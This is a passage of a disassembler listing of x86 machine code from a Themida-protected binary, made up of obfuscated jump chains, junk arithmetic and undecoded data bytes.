		xor	eax, ecx
		push	76F6h
		jmp	loc_599896
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 676Bh, 0FF2AA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3EFD:				; CODE XREF: Themida_:0059CD52j
		xor	ebp, 2ECB27B8h
		jmp	loc_5AAB79
; ---------------------------------------------------------------------------
		dd 64E9EF01h, 53h, 42D6E9F8h, 665EFFFFh, 8B66D031h, 0C4E92414h
		dd 30FFFF4Dh, 0DA6866D8h, 1C896617h, 3D7BE924h,	77FF0000h
		dd 59669D1Ch, 9C241CD2h, 0FF1F4BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3F41:				; CODE XREF: Themida_:005A4363j
		sub	edx, 4E7A1BEEh
		mov	ecx, [esp]
		push	eax
		push	esp
		jmp	loc_5A898F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2CDBE9h, 241C8BFFh, 0FFE328E9h, 4C481FFh,	80000000h
		dd 0C3FEFACBh, 0FF26E3E9h, 243487FFh, 2434895Ch, 8904EC83h
		dd 0BA52241Ch, 1CD15FBFh, 0BE5AD389h, 1CD15FBBh, 0D8E9DE31h
		dd 8100006Fh, 4EFh, 243C3300h, 33243C31h, 895C243Ch, 31BD242Ch
		dd 31396F18h, 0B1FCE9E8h, 8B66FFFFh, 2CE92404h,	87FFFF31h
		dd 835C2414h, 2C8702C5h, 0D4E95C24h, 59FFFFAAh,	0ADBAF281h
		dd 8968DD79h, 0E9000076h, 0FFFF4531h, 46B95158h, 13A3562h
		dd 0FB0159CBh, 6246EB81h, 6DE93A35h, 8100000Ah,	4C3h, 0D033E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3FFE:				; CODE XREF: Themida_:005A268Cj
		push	ecx
		mov	cl, 99h
		add	al, cl
		pop	ecx
		add	al, dh
		push	cx
		mov	ch, 99h
		sub	al, ch
		pop	cx
		push	ebx
		mov	bh, 9Dh
		jmp	loc_5A8D50
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 0DA5FC8F4h, 2C8BE929h, 4C48324h, 0BA7BE56h, 0CE814DD9h
		dd 0B2D473Fh, 0FF4747E9h, 3BC181FFh, 0E906D545h, 0FFFF4E0Eh
		dd 351AC781h, 0C8B018Eh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_597C15
; ---------------------------------------------------------------------------
		db 0ACh, 83h, 0ECh
		dd 0BBC6E904h, 34FFFFFFh, 0E290E924h, 5152FFFFh, 0A04C22B9h
		dd 8864E977h, 0D788FFFFh, 0FF5D16E9h, 24148BFFh, 0E904C483h
		dd 1C9Dh, 6803E9C1h, 2844h, 50241C89h, 44956857h, 3C8B4232h
		dd 4C48124h, 81000000h,	6628EC7h, 4E7C13Fh, 6A19F781h
		dd 0F8894E60h, 0FCAEBB5Fh, 0C331EB00h, 0D0C18158h, 293BB338h
		dd 0D0BE56D9h, 293BB338h, 1C8B5EF1h, 4C48324h, 3159CA89h
		dd 5A042454h, 5B2434FFh, 81E18951h, 4C1h, 4C18100h, 33000000h
		dd 0C31240Ch, 9ECCE924h, 481FFFFh, 424h, 24048F00h, 0FF35B5E9h
		dd 240429FFh, 9E242C81h, 5810F265h, 0A0F6E952h,	1C87FFFFh
		dd 8CE95C24h, 5EFFFFFCh, 8704C583h, 55C242Ch, 4, 15AF68h
		dd 0E24DE900h, 0C531FFFFh, 9DC28158h, 1465D3Ah,	577968EAh
		dd 3C890000h, 3A9DBF24h, 0FA29465Dh, 0FFFF09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4151:				; CODE XREF: Themida_:005A6B8Fj
		mov	ebp, 800h
		and	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_597FA5
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 89515D24h, 4C181E1h, 0E9000000h, 0FFFF64D8h
		dd 1C6FC381h, 315E6892h, 1D42E9CBh, 34FFFFFFh, 0E9535A24h
		dd 0FFFF464Ch, 5FFA895Ah, 4A1BF281h, 0EA8166F5h, 1A7B09B0h
		dd 67DC281h, 0E9427984h, 4107h,	0E92434FFh, 2CAh
; ---------------------------------------------------------------------------


loc_5A41B8:				; CODE XREF: Themida_:005A720Bj
		neg	esi
		push	ebp
		mov	ebp, 787D9572h
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_5AA022
; ---------------------------------------------------------------------------
		dw 5641h
		dd 897BD2BEh, 7EEC110h,	5A82E681h, 0C6816A43h, 7FDC2AE9h
		dd 3812C681h, 0CE8134D3h, 61FE31F3h, 9EEDF681h,	0F1312F2Bh
		dd 0CED5E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A41FA:				; CODE XREF: Themida_:005A9781j
		mov	[esp], eax
		add	dword ptr [esp], 0FFFFFFFFh
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5994F0
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF1C74h, 8B242C33h, 48F2424h, 24248B24h, 24048966h
		dd 0FF1C5FE9h, 241489FFh, 4BAh,	0E9D52900h, 0FFFFF5A6h
		dd 0C681E689h, 4, 4BD55h, 0EE010000h, 0FFCAF7E9h, 0CCE95CFFh
		dd 81FFFFDAh, 0F44221EEh, 0E9515268h, 591Dh
; ---------------------------------------------------------------------------


loc_5A4264:				; CODE XREF: Themida_:005A1DA3j
		xor	ecx, ebp
		pop	ebp
		xor	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5963E2
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 0FF9334E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4279:				; CODE XREF: Themida_:005990D4j
		sub	esi, 69C75445h
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_59BDD3
; ---------------------------------------------------------------------------
		dd 62EB8058h, 0E924148Bh, 0FFFFFA71h, 148BD131h, 4C48324h
		dd 0FF5D29E9h, 0D3E959FFh
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A42A7:				; CODE XREF: Themida_:005AAEC9j
		mov	edi, 41EC785Fh
		xor	edi, 3AC052A7h
		inc	edi
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 0E9A4D54h
		mov	ebp, 3AC110EFh
		sub	ebp, ecx
		pop	ecx
		sub	edi, ebp
		pop	ebp
		add	ebx, edi
		pop	edi
		inc	ebx
		shr	ebx, 6
		jmp	loc_59A9EF
; ---------------------------------------------------------------------------


loc_5A42D6:				; CODE XREF: Themida_:005AB334j
		mov	esp, [esp]
		shr	ecx, 0Ah
		jmp	loc_5991AE
; ---------------------------------------------------------------------------
		db 0ADh, 2Dh, 7Fh
		dd 2D069B01h, 770F6671h, 5340B951h, 0E1C10A86h,	68E1D108h
		dd 1A5h, 0E9243489h, 52C4h
; ---------------------------------------------------------------------------


loc_5A4304:				; CODE XREF: Themida_:005A64C4j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59DF40
; ---------------------------------------------------------------------------
		dw 9768h
		dd 5E170D2Ah, 19F6E681h, 0EEC15ABEh, 681DE906h,	0BD550000h
		dd 38D22761h, 7488ED81h, 0F5816155h, 0D77CB2DDh, 0FFEC63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A433D:				; CODE XREF: Themida_:005989FCj
		or	ebp, 7DA4397Dh
		jmp	loc_59CD7C
; ---------------------------------------------------------------------------
		dd 525AF028h, 0B28DB753h, 0A2FCE9F5h, 0C581FFFFh, 4, 0FF25D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4361:				; CODE XREF: Themida_:005A7D38j
		add	edx, ecx
		jmp	loc_5A3F41
; ---------------------------------------------------------------------------
		dd 4BF4EE81h, 35E959A0h, 81FFFFCEh, 4C4h, 0FD6E900h, 0E0890000h
		dd 0FFD28EE9h, 240C8BFFh, 0FFC879E9h, 241C89FFh, 0C381E389h
		dd 4, 8704C383h, 0E95C241Ch, 3ECCh
; ---------------------------------------------------------------------------


loc_5A43A4:				; CODE XREF: Themida_:005A8ADAj
		pop	ecx
		jmp	loc_5976DE
; ---------------------------------------------------------------------------


loc_5A43AA:				; CODE XREF: Themida_:005A903Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5AA7AD
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 1AC3E9h, 29793500h, 0C5294C41h, 81D50158h, 37574AC5h
		dd 0CAE95A19h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A43DB:				; CODE XREF: Themida_:0059D621j
		mov	eax, 0AA41A00h
		and	eax, 3B3C69BBh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 39337F72h
		sub	edi, 0EE2A42D6h
		or	eax, edi
		pop	edi
		push	ecx
		jmp	loc_59CA6A
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4BA24h, 0B4E90000h, 8B00004Dh, 0C4832434h, 2EEC104h
		dd 2A4CC681h, 0C68125E6h, 128A6DFDh, 6034B951h,	0CE316281h
		dd 0A429E959h, 0CA29FFFFh, 4AE28159h, 81634537h, 30AD8AEAh
		dd 5AD70128h, 505FFE89h, 6543ABB8h, 58C601EBh, 493568h
		dd 243C8900h, 987352BFh, 2A18E932h, 0ABAFFFFh, 0C154BD5Ch
		dd 0E94203EAh, 0FFFF88A6h, 68D831ADh, 0C8h, 89240489h
		dd 363DE9E0h, 6858FFFFh, 6D60h,	2BCFE9h, 505BF00h, 0F78128A3h
		dd 3797106Ch, 2A83B951h, 7E957B3h, 83FFFF20h, 8B042404h
		dd 97E9241Ch
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A44AF:				; CODE XREF: Themida_:00599D1Ej
		push	edi
		mov	edi, 24641380h
		and	edx, edi
		pop	edi
		jmp	loc_59AA2A
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 0D06BE9C8h, 2ABDFFFFh, 2101D23Eh, 0F74B5DEBh, 52C0E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A44D6:				; CODE XREF: Themida_:0059C068j
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		jmp	loc_599201
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 42h
		dd 8103971Dh, 5A1400C2h, 23E95732h, 5AFFFF7Ch, 860DED80h
		dd 86D0F6C5h, 0C0E580C5h, 8904EC83h, 37E92404h,	89FFFF8Eh
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 0FF76DAE9h, 88585AFFh
		dd 86E9872Ch, 8FFFFF72h, 0AEBBE902h, 0EB01FFFFh, 5BDE015Dh
		dd 405EE953h, 0BE660000h, 316604C4h, 66022474h,	48B665Eh
		dd 0E7895724h, 0FF84C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4555:				; CODE XREF: Themida_:005991CFj
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	esi
		push	1BAB27C2h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	eax
		mov	eax, 0E454F83Eh
		mov	ebx, eax
		pop	eax
		push	esi
		mov	esi, 7B363AAFh
		push	ecx
		jmp	loc_59B759
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 82C381FBh, 5F7E5963h, 15BDE01h, 14EE81CEh, 810C0E58h
		dd 4552F2EEh, 240C8B16h, 0FFBC4DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A45A1:				; CODE XREF: Themida_:00599777j
		sub	bl, 0C0h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	cl, 1Dh
		mov	al, cl
		pop	ecx
		sub	bl, 0Ah
		add	bl, 0CCh
		add	bl, 5Ah
		add	bl, al
		sub	bl, 5Ah
		jmp	loc_5965C8
; ---------------------------------------------------------------------------
		db 89h
		dd 5051241Ch, 0C48016B4h, 58E188DFh, 0C8BCB88h,	0F97BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A45E6:				; CODE XREF: Themida_:005A3D61j
		add	dword ptr [esp+8], 305B21A1h
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A0DB5
; ---------------------------------------------------------------------------


loc_5A4603:				; CODE XREF: Themida_:005AADC5j
		sub	ebx, 4BDF2BEAh
		jmp	loc_5A4D76
; ---------------------------------------------------------------------------
		dd offset dword_508E2C+3B3Ch
		dw 8900h
		dd 4832424h, 515D0424h,	4B9h, 57C58100h, 1753A3Bh, 57ED81CDh
		dd 0E9753A3Bh, 0FFFF9CF9h
; ---------------------------------------------------------------------------


loc_5A4634:				; CODE XREF: Themida_:005AA64Cj
		mov	edx, 34B26669h
		xor	edx, 1B951475h
		add	edx, 54530435h
		jmp	loc_59CC71
; ---------------------------------------------------------------------------
		dd offset dword_4E8E9C+131CCh
		dw 8900h
		dd 8B542434h, 0C4832434h, 0BE565304h, 542E4A2Bh, 685E5B56h
		dd 20E5h, 0E9243489h, 0FFFF1CC3h, 55CB68h, 242C8900h, 88822968h
		dd 242C8B80h, 8104C483h, 972E7FC2h, 2EA8146h, 8127CC71h
		dd 0DF0147EAh, 81EA0131h, 0DF0147C2h, 2C28131h,	8127CC71h
		dd 972E7FEAh, 242C8B46h, 0FFA57FE9h, 6FE05FFh, 0C2312B2Eh
		dd 6846E9h, 8BC78100h, 1790A70h, 8BEF81D7h, 81790A70h
		dd 2D1052EFh, 24148B14h, 81E18951h, 4C1h, 4C18100h, 0E9000000h
		dd 0FFFFF1BAh
; ---------------------------------------------------------------------------


loc_5A46E8:				; CODE XREF: Themida_:005A1A39j
		push	2B4Dh
		mov	[esp], ebp
		jmp	loc_5A330A
; ---------------------------------------------------------------------------
		db 89h,	0DDh, 0E9h
		dd 0FFFFC3A9h, 0C904E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4702:				; CODE XREF: Themida_:00599549j
		pop	ebx
		push	ecx
		push	ebp
		jmp	loc_5AB2B3
; ---------------------------------------------------------------------------
aFyfqI		db '(ÈfYfQµˆ',0
		db 0E8h
		dd 8B665966h, 0C4812414h, 2, 0FFD3C5E9h, 240481FFh, 4
		dd 8324148Bh, 0BF5704C4h, 703F759Ch, 3C69E781h,	474701A2h
		dd 3406EF81h, 0FA010022h, 83243C8Bh, 565504C4h,	3A3632BEh
		dd 6E6C11Eh, 26F4EE81h,	0EE8117D6h, 76B76588h, 295EF589h
		dd 14875DEAh, 63E95C24h, 89000005h, 0A0E8E9CAh,	4A68FFFFh
		dd 89000034h, 0E3B9240Ch, 0E965211Dh, 0FFFF310Ch, 535EF229h
		dd 854904BBh, 0E9DA0112h, 0FFFF911Ah, 0E1895158h, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 31242C33h,	2C33242Ch, 24248B24h
		dd 9C2404FEh, 0FF16C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A47C5:				; CODE XREF: Themida_:0059CC98j
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		sub	edi, 3EEA776Ch
		add	edi, edx
		jmp	loc_59CFDB
; ---------------------------------------------------------------------------
		dd 83241C89h, 248904ECh, 0FCB5E924h, 0C483FFFFh, 20D46804h
		dd 2C890000h, 4BD24h, 89510000h, 33C9E9E1h, 0D7010000h
		dd 7ED5EF81h, 0BB533066h, 79215D6Eh, 0FFEED8E9h, 5EF329FFh
		dd 0C7EC381h, 3EE978FDh, 8FFFFFF2h, 0FF5C2404h,	66E92434h
		dd 5B000054h, 8124048Fh, 42404h, 16E90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4843:				; CODE XREF: Themida_:0059E7DDj
		pop	esi
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_595E8C
; ---------------------------------------------------------------------------


loc_5A4858:				; CODE XREF: Themida_:00597FBEj
		push	edx
		mov	edx, 26CD594Eh
		dec	edx
		sub	edx, 74DD3074h
		jmp	loc_5974E9
; ---------------------------------------------------------------------------
aTHA		db 'T^h{a',0
		dd 24148900h, 27BBE9h, 0FEBE5600h, 81437556h, 0FA6537EFh
		dd 81F72938h, 0FA6537C7h, 875D5E38h, 248B243Ch,	0E3895324h
		dd 0FF79E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A489D:				; CODE XREF: Themida_:005993F0j
		mov	edx, 310A07DEh
		inc	edx
		jmp	loc_5A6A09
; ---------------------------------------------------------------------------
		dd 0C35C8ABFh, 0E7814766h, 4130480Ch, 0C781D7F7h, 4440318Eh
		dd 0FF5FA2E9h, 7AE952FFh, 81FFFFDCh, 0DCB644C1h, 6E1C183h
		dd 0CBB4E952h, 0C381FFFFh, 4, 4EB81h, 1C870000h, 34E95C24h
		dd 0BA000032h, 0A62D0AB9h, 34FFD529h, 64FDE924h, 0E95DFFFFh
		dd 1F5h
; ---------------------------------------------------------------------------


loc_5A4900:				; CODE XREF: Themida_:0059D5A8j
		mov	eax, 2F62286Ch
		add	esi, eax
		pop	eax
		sub	esi, edx
		sub	esi, 2F62286Ch
		pop	edx
		jmp	loc_59B17F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5770B951h, 0D8E96847h, 89000052h,	0E589242Ch, 4C581h
		dd 0B9510000h, 4, 0E959CD29h, 0FFFFBA4Fh, 6E685250h, 5A072C52h
		dd 1838CA81h, 52E915EAh, 89FFFF68h, 7EB5E9E2h, 4D5CFFFFh
		dd 0C0FE9h, 0F6814600h,	0BCB0D4B0h, 0E95EF189h,	0FFFF349Ch
		dd 240C335Bh, 33240C31h, 895C240Ch, 0BB241Ch, 81000000h
		dd 612D29C3h, 0C7EB812Ah, 815AEC25h, 1660D0C3h,	81D30118h
		dd 1660D0EBh, 0C7C38118h, 815AEC25h, 612D29EBh,	0E1B7E92Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A49AE:				; CODE XREF: Themida_:005A5BC2j
		add	esp, 4
		jmp	loc_59FB7A
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 81000000h, 2D1052C7h, 0FCF7E914h, 0F9BEFFFFh, 132A10Ah
		dd 0F1015EF1h, 0AF9E981h, 0E98132A1h, 4B7E1CC7h, 0FF73E1E9h
		dd 89525AFFh, 4C281E2h,	55000000h, 7648BA52h, 4CBD2513h
		dd 29251376h, 0BE95AD5h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A49FF:				; CODE XREF: Themida_:0059951Dj
		add	[esp+8], edx
		pop	edx
		add	[esp+4], eax
		sub	dword ptr [esp+4], 345627A8h
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_5A8632
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0BB535D00h, 4, 5681E9h, 4EC8300h, 83242C89h
		dd 248904ECh, 24048124h, 4, 83242C8Bh, 555004C4h, 2FCE9h
		dd 95F38100h, 0E929270Ch, 0FFFF70F5h, 4A75C381h, 875F2F94h
		dd 248B241Ch, 0CFF6624h, 15E99C24h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4A77:				; CODE XREF: Themida_:0059FE2Bj
		shl	ecx, 7
		shr	ecx, 1
		xor	ecx, 63801AC6h
		jmp	loc_59C66B
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0C0830000h, 24048704h, 2C7815Ch, 57000000h
		dd 42474FFh, 0E9243C8Bh, 0FFFFA217h
; ---------------------------------------------------------------------------


loc_5A4AA8:				; CODE XREF: Themida_:005AAE1Dj
		mov	edi, [esp]
		jmp	loc_5A4C6D
; ---------------------------------------------------------------------------


loc_5A4AB0:				; CODE XREF: Themida_:0059DB7Cj
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A5D3A
; ---------------------------------------------------------------------------


loc_5A4ABE:				; CODE XREF: Themida_:005A18ECj
		push	2984h
		mov	[esp], eax
		mov	al, 8Eh
		push	ebx
		push	ecx
		mov	ch, 0Eh
		sub	ch, 4Fh
		jmp	loc_5A27C2
; ---------------------------------------------------------------------------


loc_5A4AD4:				; CODE XREF: Themida_:0059F16Cj
		sub	edi, 27853C07h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A74C2
; ---------------------------------------------------------------------------


loc_5A4AE8:				; CODE XREF: Themida_:005A942Dj
		push	24Dh
		mov	[esp], ebp
		jmp	loc_596D90
; ---------------------------------------------------------------------------
		db 0BDh, 70h, 42h
		dd 0DD010D65h, 5DEA215Bh, 5542D2F7h, 0C03F08BDh, 5DEA011Dh
		dd 53F4E9h, 5AD38900h, 0E958C331h, 0FFFFBAD1h, 0E932FF66h
		dd 0FFFF3F51h, 5C240487h, 0E99CC83Bh, 0FFFF135Ch
; ---------------------------------------------------------------------------


loc_5A4B30:				; CODE XREF: Themida_:005A5488j
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		div	ecx
		jmp	loc_5AA1E2
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0FAh
		dd 8170F35Ah, 0B907E4C2h, 2434FF64h, 3C8CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4B61:				; CODE XREF: Themida_:005A829Cj
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	ebx, ecx
		pop	ecx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_5A6DFD
; ---------------------------------------------------------------------------


loc_5A4B73:				; CODE XREF: Themida_:005A61E6j
		sub	esi, ebx
		jmp	loc_597F3B
; ---------------------------------------------------------------------------
		dw 505Bh
		dd 0EE242C81h, 5E2B6F3Ah, 3AEEC681h, 48B2B6Fh, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 2474015Ch, 24348B04h
		dd 0FF04C483h, 50592434h, 4055854h, 5000000h, 4, 5C240487h
		dd 441468h, 242C8900h, 0B417F7BDh, 0A4E9817Dh, 0E9773312h
		dd 0FFFFF461h, 5E09E950h, 0F281FFFFh, 678181Bh,	66BEB850h
		dd 0C6290BF8h, 0FF74C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4BED:				; CODE XREF: Themida_:0059827Aj
		push	24h
		pop	edx
		push	edx
		add	dword ptr [esp], 207B6B26h
		jmp	loc_59E4C0
; ---------------------------------------------------------------------------


loc_5A4C00:				; CODE XREF: Themida_:0059B496j
		mov	eax, 445B0EB3h
		sub	esi, eax
		pop	eax
		add	esi, ebp
		add	esi, 445B0EB3h
		jmp	loc_5A15A1
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C580CDB5h, 53ECE9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4C22:				; CODE XREF: Themida_:005A0BFAj
		pop	esp
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_596F25
; ---------------------------------------------------------------------------
		db 0B5h, 0E9h, 80h
		dd 0EA306DF5h, 0F8F28059h, 0F625CA80h, 0C0FE9DAh, 8F540000h
		dd 0BB532404h, 4, 457DE9h, 0BFEF8100h, 5755EC62h, 0BD55E789h
		dd 25A45ECBh, 7EDC14Dh,	6227E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4C6D:				; CODE XREF: Themida_:005A4AABj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_596DC5
; ---------------------------------------------------------------------------
		db 53h
		dd 0D1EE957h, 0D3340000h, 0C688BD04h, 41F68058h, 0FFF5E1E9h
		dd 52A32DFFh, 0DDE975C3h, 54FFFF98h, 4C3815Bh, 83000000h
		dd 1C8704EBh, 8F545C24h, 4832404h, 0E95D0424h, 0FFFF9FA0h
		dd 5C240C33h, 0C381EB29h, 72671CF9h, 5D2434FFh,	4C481h
		dd 0FF660000h, 11B6E930h, 0C89FFFFh, 556B6824h,	14890000h
		dd 1549E924h, 0C31FFFFh, 240C3324h, 0E9F9F65Ch,	0FFFFA003h
		dd 702DD8F7h, 1368CBDh,	2434FFC5h, 0FFFA97E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4D05:				; CODE XREF: Themida_:00598CE2j
		mov	ecx, 279057F6h
		neg	ecx
		add	ecx, 6B705C47h
		jmp	loc_59E6B0
; ---------------------------------------------------------------------------


loc_5A4D17:				; CODE XREF: Themida_:005A007Cj
		push	eax
		mov	eax, 405A6AE7h
		dec	eax
		jmp	loc_5A2FFA
; ---------------------------------------------------------------------------
		db 89h
		dd 0FB315DEBh, 0E92434FFh, 0FFFFB1C9h, 51243C89h, 0FF826FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4D39:				; CODE XREF: Themida_:0059F86Dj
		add	edi, ebp
		add	edi, 27ED59BEh
		jmp	loc_59708E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 35C8E9h, 2B99BD00h, 0E955323Ah, 0FFFF4789h, 2873C681h
		dd 0BD557C5Dh, 6E6D5636h, 8104EDC1h, 5D531EDh, 679EE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4D76:				; CODE XREF: Themida_:005A4609j
		pop	edx
		sub	edi, 1C94027Fh
		add	edi, ebx
		add	edi, 1C94027Fh
		pop	ebx
		sub	esp, 4
		jmp	loc_5A6CCB
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 308A2142h, 30B0C381h, 0E953DC96h, 1F3h, 72EA6858h, 3C890000h
		dd 0BFFDBF24h, 0F801FEF3h, 0E9243C8Bh, 0FFFFF022h, 6BBB5356h
		dd 817E9E74h, 4407AAF3h, 0A4FCE94Bh, 1489FFFFh,	6141BA24h
		dd 0EA8145DDh, 0FFFFFFFFh, 3E13E9h, 59CB0100h, 0E95BD901h
		dd 4F06h, 52240C89h, 0FE56D1BAh, 0E94A4A0Bh, 0FFFFD73Ch
; ---------------------------------------------------------------------------


loc_5A4DF8:				; CODE XREF: Themida_:005A6781j
		add	esp, 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_5A3780
; ---------------------------------------------------------------------------
		db 29h
		dd 24148BD3h, 4C481h, 0E3C10000h, 0CFF5303h, 241C8B24h
		dd 8104C483h, 274ED3F3h, 5BDF892Bh, 439DEE81h, 0FE0113A5h
		dd 439DC681h, 3C8B13A5h, 8909E924h, 2BBAFFFFh, 0E972BA16h
		dd 63DDh, 815DEE01h, 4C6h, 24348700h, 4EC815Ch,	0E9000000h
		dd 2B04h, 8324048Bh, 0C48104C4h, 4, 4C481h, 0E9570000h
		dd 0FFFF38DBh, 8F04C483h, 0CE92404h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4E87:				; CODE XREF: Themida_:005A53ABj
		push	eax
		mov	eax, 17896262h
		xor	eax, 66E5527Ah
		or	ebx, eax
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	ebx, 7
		xor	ebx, 2FEEEE88h
		sub	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_59A6A6
; ---------------------------------------------------------------------------


loc_5A4EB9:				; CODE XREF: Themida_:005A0440j
		mov	edi, 39E13F83h
		inc	edi
		jmp	loc_5A24AE
; ---------------------------------------------------------------------------
		dd 0CD1B3B25h, 21340547h, 0B50536C5h, 8981BAC3h, 4635E9C6h
		dd 4830000h, 48F0424h, 0EC815724h, 4, 308EE954h, 0D829FFFFh
		dd 0FF9F15E9h, 4C483FFh, 565FF801h, 4BEh, 5EF00100h, 0E9E68956h
		dd 3B88h, 1B362FB9h, 2F6AE929h,	0FF57FFFFh, 8B042474h
		dd 0C481243Ch, 4, 5C24048Fh, 4C681h, 0C6810000h, 4, 0FF3235E9h
		dd 0BD5557FFh, 281B1FE5h, 0E95DEF89h, 0FFFF46EFh, 148B5004h
		dd 4C48324h, 0E951D000h, 0FFFF70B6h, 68243489h,	377C76EFh
		dd 0FFB3B9E9h, 52FB01FFh, 6417E6BAh, 5AD3297Dh,	5E6CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4F75:				; CODE XREF: Themida_:005A7D1Fj
		pop	ebp
		add	esp, 4
		jmp	loc_5A8285
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 665E652Dh, 240C8B1Ah, 4EC81h, 0D8E90000h, 5AFFFF89h
		dd 0FFD386E9h, 242C81FFh, 7B8D4DF6h, 0F6B9515Bh, 0E97B8D4Dh
		dd 0E41h
; ---------------------------------------------------------------------------


loc_5A4FAC:				; CODE XREF: Themida_:005A24E1j
		pop	eax
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0D12DBD24h, 0E8897EC3h, 5D2434FFh, 3104C483h, 24048BC3h
		dd 3AE0E9h, 242C8900h, 6F71A3BDh, 2E5C13Dh, 2071E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4FDD:				; CODE XREF: Themida_:005A8640j
		mov	eax, 39CD097Eh
		xor	eax, ecx
		pop	ecx
		add	ebx, 11FB39F2h
		add	ebx, eax
		push	634h
		mov	[esp], eax
		mov	eax, 62DB094Ah
		or	eax, 67BB41D0h
		inc	eax
		push	ecx
		mov	ecx, 39EC46D8h
		push	ebp
		mov	ebp, 30633BA3h
		sub	ecx, ebp
		pop	ebp
		or	eax, ecx
		pop	ecx
		shr	eax, 2
		sub	eax, 30DC144Bh
		sub	eax, 0D92784C2h
